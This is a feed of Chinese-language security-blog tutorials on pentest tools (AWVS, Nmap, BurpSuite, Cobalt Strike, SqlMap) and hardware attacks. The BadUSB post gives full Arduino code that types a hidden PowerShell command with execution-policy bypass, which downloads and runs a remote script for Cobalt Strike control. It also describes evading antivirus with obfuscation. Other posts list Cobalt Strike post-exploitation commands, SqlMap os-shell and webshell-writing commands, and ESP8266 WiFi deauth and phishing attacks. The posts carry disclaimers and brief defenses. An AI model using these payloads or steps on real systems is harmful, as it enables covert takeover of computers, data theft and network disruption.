天乐博客 - 安全
type: channel
link: https://blog.361s.cn/tag/%E5%AE%89%E5%85%A8/
items: 渗透测试神器AWVS使用教程
items: 渗透测试神器Nmap使用教程
items: 渗透测试神器BurpSuite模块说明及使用教程
items: 渗透测试神器CobaltStrike使用教程
items: 网络安全常用术语
items: SqlMap常用命令
items: Badusb原理及制作并简单免杀实现远控教程
items: 利用ESP8266制作wifi杀手并进行攻击-漏洞产生原因及防御措施

渗透测试神器AWVS使用教程
type: item
date: 2021-02-17T17:04:00+08:00
description: 简介：Acunetix Web Vulnerability Scanner（简称AWVS）是一款知名的自动化网络漏洞扫描工具，它通过网络爬虫测试你的网站安全，检测流行安全漏洞。它可以扫描任何可通过Web浏览器访问的和遵循HTTP/HTTPS规则的Web站点和Web应用程序。适用于任何中小型和大型企业的内联网、外延网和面向客户、雇员、厂商和其它人员的Web网站。WVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。 AWVS官网：https://www.acunetix.com/环境部署：Windows或Linux均可（老规矩，安装非常简单，我在这里仅演示以Docker容器方式安装教程，其他方式不会自行百度安装，不在这里赘述了）Docker安装教程：pull 拉取下载镜像 docker pull secfa/docker-awvs 将Docker的3443端口映射到物理机的 13443端口 docker run -it -d -p 13443:3443 secfa/docker-awvs 容器的相关信息 awvs13 username: admin@admin.com awvs13 password: Admin123 AWVS版本：13.0.200217097 浏览器访问：https://127.0.0.1:13443/ 即可工作方式：1.它将会扫描整个网站，它通过跟踪站点上的所有链接和robots.txt 实现扫描。然后WVS就会映射出站点的结构并显示每个文件的细节. 2.在上述的发现阶段或扫描过程之后，WVS就会自动地对所发现的每一个页面发动一系列的漏洞攻击， 这实质上是横拟黑客的攻击过程，这是一个自动扫描阶段。 3.在它发现漏洞之后，WVS就会在"Alerts Node (警告节点）"中报告这些漏洞. 每一个报告都包含着漏洞信息和如何修复漏洞的建议. 4. 再扫一次,它会将结果保存为文件以备曰后分析以及与以前的扫描相比较，使用报告工具，就可以创建一个专业的报告来总结这次扫描.功能介绍：1.WebScanner：全站扫描，Web安全漏洞扫描 2.Site Crawler：爬虫功能，遍历站点目录结构 3.Target Finder：端口扫描，找出web服务器 4.Subdomain Scanner：子域名扫描器，利用DNS查询 5.Blind SQL Injector：盲注工具 6.HTTP Editor：http协议数据包编辑器 7.HTTP Sniffer：HTTP协议嗅探器 8.HTTP Fuzzer：模糊测试工具 9.Authentication Tester：Web认证破解工具 10.Web Srevice Scanner：Web服务扫描器 11.Web Srevice Editor：Web服务编辑器特点：1.自动的客户端脚本分析器，允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。 2.业内最先进且深入的 SQL 注入和跨站脚本测试 3.高级渗透测试工具，例如 HTTP Editor 和 HTTP Fuzzer 4.可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域 5.支持含有 CAPTHCA 的页面，单个开始指令和 Two Factor（双因素）验证机制 6.丰富的报告功能，包括 VISA PCI 依从性报告 7.高速的多线程扫描器轻松检索成千上万个页面 8.智能爬行程序检测 web 服务器类型和应用程序语言 9.Acunetix 检索并分析网站，包括 flash 内容、SOAP 和 AJAX 10.端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查 11.可导出网站漏洞文件使用方法：1.登录进入AWVS控制面板。2.添加扫描目标，并设置好对应扫描参数，例如扫描等级，UA等。3.等待结束，查看扫描结果。本文仅介绍AWVS的简单入门，更多功能自行学习探索，相信你会掌握这一款强大的渗透测试扫描神器，禁止非法扫描，后果自负。当你懈怠的时候，请想一下你父母期待的眼神。因为有悔，所以披星戴月;因为有梦，所以奋不顾身。

渗透测试神器Nmap使用教程
type: item
date: 2021-02-04T17:52:00+08:00
description: 简介：Nmap （网络映射器）是Gordon Lyon最初编写的一种安全扫描器，用于发现计算机网络上的主机和服务，从而创建网络的“映射”。为了实现其目标，Nmap将特定数据包发送到目标主机，然后分析响应.NMAP强大的网络工具，用于枚举和测试网络。Nmap是一款网络扫描和主机检测的非常有用的工具。 Nmap是不局限于仅仅收集信息和枚举，同时可以用来作为一个漏洞探测器或安全扫描器。它可以适用winodws,linux,mac等操作系统，是一款非常强大的渗透测试工具。 Nmap官网：https://nmap.org/环境部署：Winodws,linux,mac等操作系统均可（Kali自带Nmap工具，直接命令调用即可，安装非常简单，不会请自行百度，就不在这里赘述了）。常用功能介绍：1.主机发现(Host Detection)：识别网络上的主机，例如，列出响应TCP和/或ICMP请求或打开特定端口的主机。2.端口扫描(Port Scanning)： 枚举目标主机上的开放端口。3.版本侦测(version Detection)：检测远程设备上的网络服务以确定应用程序名称和版本号。4.操作系统侦测(Operating System Detection)：检测网络设备的操作系统和硬件特性。参数语法:nmap [选项/多选项/协议] [目标地址] 例： nmap -A 127.0.0.1-100 //对一个ip范围进行全面扫描常用参数:-A :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式. --exclude : 排除指定的地址 例: nmap 192.168.1.0/24 --exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描, --excludefile : 排除指定的地址列表 例: nmap 192.168.1.0/24 --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描, -iL : 扫描一个列表文件 例 nmap -iL list.txt -sP : Ping扫描,效率高,返回信息少. 例: nmap -sP 192.168.1.110 -P0(Pn) :无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用 -PS :TCP SYN Ping扫描 -PA :TCP ACK Ping扫描 PR : ARP Ping扫描 -n : 禁止DNS反向解析 -T : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的 -p : 指定端口扫描 -F : 快速扫描 -f : 报文分段 -D : ip地址欺骗 例 nmap -D RND:5 192.168.1.110 RND:为生成随机ip地址 -sS : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽. -sT : TCP连接扫描 -sU : UDP扫描,扫描非常慢,容易被忽视 -sN,-sF : 隐蔽扫描 -sI : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机) -p- : 扫描所有端口 1-65535 -top-ports : 只扫描开发概率最高的端口 后面跟上数值 例 nmap -top-ports 100 , 就是扫描概率最高的前100个端口 <版本探测相关>: -sV : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本. -sV --allports : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口) --version-intersity : 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7 --version-ligth : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2 --version-all :扫描强度,重量级扫描(9) ,等同于--version-intersity 9 --version-trace : 获取详细的版本信息 -sR : 判断开放端口是否为RPC端口, 如果是返回程序和版本号. --resaon : 显示主机存活原因 End...常用命令：1.Nmap的纯扫描,默认…

渗透测试神器BurpSuite模块说明及使用教程
type: item
date: 2021-02-01T16:43:00+08:00
description: BurpSuite简介：Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息，持久性，认证，代理，日志，警报的一个强大的可扩展的框架。 Burp Suite是一款信息安全从业人员必备的集 成型的渗透测试工具，它采用自动测试和半自动测试的方式，通过拦截HTTP/HTTPS的web数据包，充当浏览器和相关应用程序的中间人，进行拦截、修改、重放数据包进行测试，是web安全人员的一把必备的瑞士军刀。环境：JavaBurpSuite官网：https://portswigger.net/burp模块说明：1.Dashboard（仪表盘任务模块） （1）Tasks：扫描漏洞任务 （2）Event log：事件日志 （3）issue activity：动态发现的问题 2.Target模块（目标请求响应全部记录） （1）Site map：爬取出来的站点地图 （2）Scope：分别是在范围的显示和在范围内的不显示，支持正则表达式 （3）Issue definitions:一些漏洞信息 （4）Filter:过滤规则设置 3.Proxy（代理模块 ） （1）Intercept:拦截信息 （2）HTTP History:历史拦截信息 （3）WebSockets history：记录WebSockets数据包 （4）Options:代理监听，请求和响应，拦截反应，匹配和替换，ssl等规则设置 4.Intruder模块（入侵自动化攻击） （1）Target:目标 （2）Positions: Sniper:一个字典，两个参数，先匹配第一个参数，再匹配第二个参数 Battering ram:一个字典，两个参数，一个字典同时匹配两个参数，同用户名同密码 Pitchfork:两个字典，两个参数，两个字典分别匹配两个参数，到短的截至 Cluster bomb:两个字典，两个参数，交叉匹配(使用第一个字典的第一项匹配第一个 参数，然后遍历第二个字典)，所有可能 （3）Payloads：载荷，字典选择，预置规则处理字典（如转换为md5值 ） （4）Options：Intruder的各种设置 5.Repeater模块（请求重放） Repeater的操作界面中，左边为请求消息区，右边为应答消息区，当编辑完请求消息后，单击"GO"按钮即可发送请求给服务器，应答消息区显示的是服务器端的反馈消息，通过修改请求消息的参数来比对分析每次应答消息之间的差异。 6.Sequencer(序列器) （1）Live capture：信息截取 （2）Manual load：手动加载 （3）Analysis options：选项分析 6.Decoder模块（编码解码） 7.Comparer模块（对比） 8.Extender模块（插件扩展api） 9.User options模块（用户设置）简单拦截抓包改包使用教程：1.配置Java环境并安装启动BurpSuite工具（非常简单，不在这里赘述了，不会请自行百度解决）。2.打开Proxy模块中的Options选项，添加一个监听代理（默认为127.0.0.1:8080），并进入浏览器设置同样的代理（我这边用到的是Firefox火狐浏览器），如需监听SSL可以直接在Options选项中导出证书安装到浏览器或在设置代理后于浏览器中访问 http://burp 直接下载并安装证书。3.打开Proxy模块中的Intercep选项并开启拦截，此时我们再访问一个http协议的URL就可以在BurpSuite工具中看到截获的内容，HTTP History选项中可显示所有历史拦截信息（forward可以放行此次请求，如果你点击drop则丢弃此请求数据，继续请求后能够看到返回结果）。注：Raw：这个视图主要显示web请求的raw格式，包含请求地址， http协议版本， 主机头， 浏览器信息，accept可接受的内容类型，字符集，编码方式，cookies等, 可以手动修改这些内容，然后在点击forward进行渗透测试 params：这个视图主要是显示客户端请求的参数信息，get或者post的参数，cookies参数，也可以修改 headers：是头部信息和Raw其实差不多，展示更直观 Hex：这个视图显示Raw的二进制内容 Intercep选项中Action功能说明（一个菜单可用的动作行为操作可以有哪些操作功能）： Send to Spider 发送给爬虫 Do an active scan 执行主动扫描 Send to Intruder 发送到入侵者 Send to Repeater 发送到中继器 Send to Sequencer 发送到序列…

渗透测试神器CobaltStrike使用教程
type: item
date: 2021-01-31T16:49:00+08:00
description: 简介：Cobalt Strike是一款渗透测试神器，常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成，包括站点克隆获取浏览器的相关信息等。CobaltStrike官网:https://www.cobaltstrike.com环境：Java设备：Windows或Linux均可（推荐服务端使用Linux服务器）目录文件和功能介绍： agscript：扩展应用的脚本 c2lint：该文件主要检查profile的错误和异常 teamserver：服务端启动程序 cobaltstrike.jar：CobaltStrike主要核心程序 cobaltstrike.auth：用于客户端和服务端认证的文件（建议自己有时间可以查看一下cs的源码） cobaltstrike.store：密钥证书存放文件 data：用于保存当前TeamServer的数据 logs：日志文件（web日志、Beacon日志、截图日志、下载日志、键盘记录日志等等） third-party：第三方工具目录 AggressorScripts-master：插件目录使用教程：（1）服务端：1.首先我们在服务端安装Java环境，这个非常简单就不在这里赘述了，不会请自行百度解决。2.cd切换到下载好的CobaltStrike工具文件夹目录，启动运行服务端。./teamserver ip 密码 nohub ./teamserver ip 密码 //后台运行，关闭终端依旧运行 注意：cs默认监听端口为50050，可以打开teamserver文件，修改端口 ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] <host> 必需参数 服务器IP <password> 必需参数 连接服务器的密码 [/path/to/c2.profile] 可选参数 指定C2通信配置文件，体现其强大的扩展性 [YYYY-MM-DD] 可选参数 所有payload的终止时间（2）客户端1.连接到服务端。java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar 需切换到CobaltStrike执行，Windows使用cmd执行命令。2.创建监听器。打开监听器→Add→添加一个监听器。3.生成后门文件，并将生成的后门文件在对应客户端运行即可上线。 1.HTML Appliaction：生成一个恶意的HTML Appliacton木马，后缀为'.hta'。通过HTML调用其他语言的应用组件进行攻击，提供可执行文件。 2.MS Office Macro：生成office宏病毒文件。 3.Payload Generator：生成各种编程语言的payload（包含C、C#、COM Scriptlet、Java、Perl、Powershell、Python、Ruby、VBA） 4.Windows Executable：生成32位或64位的exe、dll可执行文件 5.Windows Executable(S)：用于生成一个exe可执行文件，包含Beacon的完整payload，与4相比，该模块额外提供了代理功能，以便在比较严苛德环境下进行渗透测试。并且支持Powershell脚本，用于将Stageless Payload注入内存。4.远控进行vnc，文件管理，进程查看等一系列操作。（3）常用命令 argue 进程参数欺骗 blockdlls 在子进程中阻止非Microsoft的DLLs文件 browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect 通过TCP连接到Beacon covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assemb…

网络安全常用术语
type: item
date: 2021-01-30T16:37:00+08:00
description: 很多刚入门的小白对文章或大佬提到一些网络安全术语一头雾水，今天给大家分享一些常见的网络安全术语。1、肉鸡：所谓“肉鸡”是一种很形象的比喻，比喻那些可以随意被我们控制的电脑，对方可以是WINDOWS系统，也可以是UNIX/LINUX系统，可以是普通的个人电脑，也可以是大型的服务器，我们可以象操作自己的电脑那样来操作它们，而不被对方所发觉。2、木马：就是那些表面上伪装成了正常的程序，但是当这些被程序运行时，就会获取系统的整个控制权限。有很多黑客就是 热中与使用木马程序来控制别人的电脑，比如灰鸽子，黑洞，PcShare等等。 3、网页木马：表面上伪装成普通的网页文件或是将而已的代码直接插入到正常的网页文件中，当有人访问时，网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。4、挂马：就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里，以使浏览者中马。5、后门：这是一种形象的比喻，入侵者在利用某些方法成功的控制了目标主机后，可以在对方的系统中植入特定的程序，或者是修改某些设置。这些改动表面上是很难被察觉的，但是入侵者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接，重新控制这台电脑，就好象是入侵者偷偷的配了一把主人房间的要是，可以随时进出而不被主人发现一样。 通常大多数的特洛伊木马(Trojan Horse)程序都可以被入侵者用语制作后门(BackDoor)6、rootkit：rootkit是攻击者用来隐藏自己的行踪和保留root(根权限，可以理解成WINDOWS下的system或者管理员权限)访问权限的工具。通常，攻击者通过远程攻击的方式获得root访问权限，或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限，进入系统后，再通过，对方系统内存在的安全漏洞获得系统的root权限。然后，攻击者就会在对方的系统中安装rootkit，以达到自己长久控制对方的目的，rootkit与我们前边提到的木马和后门很类似，但远比它们要隐蔽，黑客守卫者就是很典型的rootkit，还有国内的ntroorkit等都是不错的rootkit工具。7、IPC$：是共享“命名管道”的资源，它是为了让进程间通信而开放的饿命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。8、弱口令：指那些强度不够，容易被猜解的，类似123，abc这样的口令(密码)9、默认共享：默认共享是WINDOWS2000/XP/2003系统开启共享服务时自动开启所有硬盘的共享，因为加了"$"符号，所以看不到共享的托手图表，也成为隐藏共享。10、shell：指的是一种命令指行环境，比如我们按下键盘上的“开始键+R”时出现“运行”对话框，在里面输入“cmd”会出现一个用于执行命令的黑窗口，这个就是WINDOWS的Shell执行环境。通常我们使用远程溢出程序成功溢出远程电脑后得到的那个用于执行系统命令的环境就是对方的shell11、WebShell：WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做是一种网页后门。黑客在入侵了一个网站后，通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，好后就可以使用浏览器来访问这些asp 或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。可以上传下载文件，查看数据库，执行任意程序命令等。国内常用的WebShell有海阳ASP木马，Phpspy，c99shell等12、溢出：确切的讲，应该是“缓冲区溢出”。简单的解释就是程序对接受的输入数据没有执行有效的检测而导致错误，后果可能是造成程序崩溃或者是执行攻击者的命令。大致可以分为两类：(1)堆溢出;(2)栈溢出。13、注入：随着B/S模式应用开发的发展，使用这种模式编写程序的程序员越来越来越多，但是由于程序员的水平参差不齐相当大一部分应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想要知的数据，这个就是所谓的SQLinjection，即：SQL注入。14、注入点：是可以实行注入的地方，通常是一个访问数据库的连接。根据注入点数据库的运行帐号的权限的不同，你所得到的权限也不同。15、内网：通俗的讲就是局域网，比如网吧，校园网，公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话，就说明我们是处于内网之中的：10.0.0.0—10.255.255.255，172.16.0.0—172.31.255.255，192.168.0.0—192.168.255.25516、外网：直接连入INTERNET(互连网)，可以与互连网上的任意一台电脑互相访问，IP地址…

SqlMap常用命令
type: item
date: 2021-01-29T17:02:00+08:00
description: 环境：python 工具下载地址：sqlmap.orgSqlMap是我们常用的一款sql注入漏洞检测工具，为了方便大家平时的使用，在此分享一下我总结的一下命令。目录结构：extra：额外功能lib:连接库，注入参数，提权操作tamper：绕过脚本thirdparty：第三方插件txt：字典，例如浏览器代理，表，列，关键字udf：自定义攻击载荷waf：常见防火墙特征--identify-waf常用命令：1.注入检测方式：get方式：sqlmap.py -u "URL" post方式：sqlmap.py -u "URL" -date "post数据" cookie方式：sqlmap.py -u "URL" -cookie "cookie数据"2.获取数据库信息获取数据库类型以及版本：sqlmap.py -u "URL" 获取网站使用的数据库名和用户名：sqlmap.py -u "URL" --current-db sqlmap.py -u "URL" --current-user3.获取数据量和用户权限获取数据库的数据量：sqlmap.py -u "URL" --count -D "数据库名" 判断用户权限：sqlmap.py -u "URL" --privileges4.Mysql注入Mysql结构：库-表-列-数据（字段内容）注入顺序：首先获取当前库名：sqlmap.py -u "URL" --current-db 其次获取库中表名：sqlmap.py -u "URL" --tables -D "数据库名" 然后获取库中某个表的列名：sqlmap.py -u "URL" --columns -T "表名" -D "库名" 最后获取库中某个表名的某个列名的字段内容：sqlmap.py -u "URL" --dump -C "列名" -T "表名" -D "库名"5.管理数据库连接数据库：sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名"（需安装pymysql：https://girhub/pymysql/pymysql） 执行sql命令：sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" --sqlshell6.延时注入针对页面无变化，无法用布尔真假判断，无法报错的情况下注入。sqlmap.py -u "URL" --delay 数字值（秒为单位） sqlmap.py -u "URL" -safe-freq7.交互式命令执行和写Webshell命令执行：sqlmap.py -u "URL" --os-cmd="命令" Webshell:sqlmap.py -u "URL" --os-shell8.Tamper脚本sqlmap.py -u "URL" --tamper="脚本名字"9.本地写入Webshellsqlmap.py -u "URL" --file-write "本地文件路径" --file-dest "目标文件路径"10.批量检测注入漏洞sqlmap.py -m 本地文件路径 结合BurpSuite：sqlmap.py -l 本地文件路径 --batch -smart//batch:自动选择yes，smart：启发式快速判断--proxy="http://ip:8080" //浏览器代理 --level=(1-5) //测试水平等级 --risk=(0-3) //风险等级未完，不断更新中!

Badusb原理及制作并简单免杀实现远控教程
type: item
date: 2020-10-23T21:05:00+08:00
description: 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后，国内与badusb相关的文章虽然有了一些，但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉，badusb仍有一层朦胧的面纱。本文将带你揭开这层神秘的面纱。Badusb原理：利用HID(Human InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等)进行攻击，将USB设备伪装使电脑识别为键盘，再利用USB设备中的微控制芯片，向主机发送命令，从而实现完全控制主机。漏洞产生原因：现在的USB设备很多，比如音视频设备、摄像头等，因此要求系统提供最大的兼容性，甚至免驱；所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证，而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件，伪装成一个USB键盘，并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。硬件材料：Digispark （Attiny85）开发板（我用到的是经典版的橡皮鸭rubber ducky）一台电脑步骤：1.首先我们安装CobaltStrike，这里需要用到一台有公网ip的服务器，生成ps1文件格式Powershell可执行的程序（具体安装和生Payload过程不再赘述，请自行百度，这边我用到的是CobaltStrike4.0）。2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀，生成面杀版ps1脚本文件，并上传到自己的web服务器备用，Github地址：https://github.com/danielbohannon/Invoke-Obfuscation（免杀过程在这里不赘述了，请自行查看Invoke-Obfuscation的README.md）。3.安装Digispark （Attiny85）开发板驱动。4.安装并打开Arduino软件，点击文件中的首选项，附加开发板管理器网址填入：https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json5.点击工具中的开发板中的开发板管理器，等待下载索引完成（下载不成功请使用海外代理），搜索并安装“Digistump AVR Boards by Digistump”，安装完成后在开发板中选择Digispark（Default-16.5mhz）。7.将以下代码填入Arduino代码框中，以实现伪造键盘输出win+r打开运行窗口并执行Powershell命令。#include "DigiKeyboard.h" #define KEY_ESC 41 #define KEY_BACKSPACE 42 #define KEY_TAB 43 #define KEY_PRT_SCR 70 #define KEY_DELETE 76 void setup() { DigiKeyboard.delay(5000); DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://web.com/tianle.ps1');")); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(750); DigiKeyboard.sendKeyStroke(KEY_ENTER); } void loop() { }8.将代码上传到开发板中，需在60s内插入badusb，等待烧录完成即可。9.Badusb制作完成，插谁谁上线，这里仅展示几张成功上线的图片，屏幕截图，vnc，文件获取等CobaltStrike工具远控操作不作展示。防御措施：1.不插陌生的USB设备。2.使用360的SecUSB或者腾讯的SecLine。注：我展示如何攻击的目的是为了让大家知道这个漏洞，了解并认识到网络安全的重要性，更好的进行防御，而不是以此为武器去伤害别人。

利用ESP8266制作wifi杀手并进行攻击-漏洞产生原因及防御措施
type: item
date: 2020-10-19T19:56:00+08:00
description: 准备工作：一块ESP8266模块一条MicroUSB数据线（非miniUSB，一定要能传数据，确认不是过电线）一台电脑步骤：1.首先将开发板安装驱动，选择不同的驱动进行安装，一般板上都有写类型，安装好如图所示（我的型号是CH340）：2.打开烧录工具，选择对应的COM串口。3.点击Comfig选项，单击齿轮选择你固件所在的路径。4.返回Operation选项，点击Flash（F）按钮，等待一段时间，当左下角出现绿色对勾√说明烧录成功。5.长按开发板上的 rst 重启键，当模块灯闪动，松手 ，发现出现WI-PWN就说明模块已经开始正常工作了。6.连接此WIFI后，浏览器输入192.168.4.1，完成基础设置后即可进入ESP8266管理页面。7.然后就可以选择对应wifi进行攻击（攻击时模块上灯会常亮）。8.攻击方式：（1）Deauth：因为WIFI管理数据帧没有被加密，导致攻击者可以伪造管理帧，从而让攻击者可以任意发送“取消认证”数据包来强行切断AP与客户端的连接（说白点就是无脑洪水堵塞攻击，一直切断对方设备与机器的连接，从而导致对方设备无法正常连接）。（2）Beacon：信标帧(Beacon)数据包用于宣告接入点，通过不断发送信标帧数据包（说白点就是创建许多新的wifi干扰对方的正常连接），由于目前部分设备自带SSID检测，所以我们使用随机生成SSID以达到目的。（3）Probe-response：探测请求帧由用户设备发送，以询问一个已知网络是否在附近。通过请求您在SSID列表中指定的网络，以此来混淆WiFi跟踪器。（说白点就是手机给已知WiFi网络发送一个probe-request帧，可提供网络服务的接入点将响应一个probe-response帧，你的手机将会跟这个响应接入点进行连接，所以看起来跟Deauth攻击差不多）。（4）钓鱼攻击：通过伪造wifi使受害者连接假冒wifi，通过钓鱼页面等一系列手法可以实现监听流量，获取原真实wifi密码等等，在这里不多赘述和展示了。漏洞产生原因：802.11 WiFi标准包含一种专门针对网络和连接管理的特殊帧类型，查找wifi时，被动监听WiFi热点所广播出来的“beacon”管理帧(用来表明该热点可用)，而“probe-request”，你的设备会发送这种管理帧来查看之前连接过的网络当前是否在周围。如果距离内存在已访问过的网络，相应的热点将会用“probe-response”帧予以响应，这些管理帧存在的问题就是，它们完全没有经过任何的加密，这样做的目的是为了增加WiFi的易用性，因为你完全不需要进行任何的密钥交换或密码确认就可以查看到周围的WiFi网络以及热点名称，但这也增加了WiFi网络的攻击面：任何设备都可以给任何网络发送beacon帧和probe-response帧。防御措施：1.将进行wifi攻击的抓到打一顿，一顿不行就继续打（开个玩笑）。2.将路由器设置发射信道使用5Ghz频段。3.使用网线连接（手动滑稽）。4.购买有安全防护功能的大牌路由器。5.使用802.11w-2009更新标准，默认情况下对管理帧进行加密。注：我展示如何攻击的目的是为了让大家知道这个漏洞，了解并认识到网络安全的重要性，更好的进行防御，而不是以此为武器去伤害别人。